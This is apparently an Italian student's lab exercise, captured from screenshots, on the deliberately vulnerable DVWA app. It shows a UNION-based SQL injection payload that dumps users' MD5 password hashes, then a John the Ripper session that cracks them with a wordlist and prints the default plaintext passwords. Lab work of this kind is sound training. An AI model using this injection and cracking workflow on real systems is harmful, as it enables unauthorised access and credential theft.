56L3

LA TRACCIA DI OGGI CONSISTEVA TRAMITE UN TOOL DI KALI IN QUESTO CASO JOHN RIPPER DI CODIFICARE LE PASSWORD MD5 DAL DB DOPO AVER EFFETTUATO UNA <u>SQL INJECTION</u>

IIISH UCHONS

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

User ID:

Submit

ID: 1' UNION SELECT user, password FROM users#

First name: admin Surname: admin

ID: 1' UNION SELECT user, password FROM users#

First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#
First name: gordonb

Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#

First name: 1337

Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#

First name: pablo

Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#

First name: smithy

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

S6L3

```
4 password hashes cracked, 1 left
 __(kali⊗kali)-[~/Desktop]
$ sudo john --format=raw-md5 --wordlist= /home/kali/Desktop/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8×3])
Remaining 1 password hash
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-01-10 12:13) 0g/s 88650p/s 88650c/s 88650C/s !@#$%..sss
Session completed.
(kali@ kali)-[~/Desktop]
$ sudo john --format=raw-md5 --show= /home/kali/Desktop/rockyou.txt hash.txt
admin:password
gordonb:abc123
pablo:letmein
smithy:password
4 password hashes cracked, 1 left
 __(kali⊛kali)-[~/Desktop]
 $ john -- format=RAW-MD5 -- show /home/kali/Desktop/rockyou.txt hash.txt
admin:password
gordonb:abc123
pablo:letmein
smithy:password
4 password hashes cracked, 1 left
```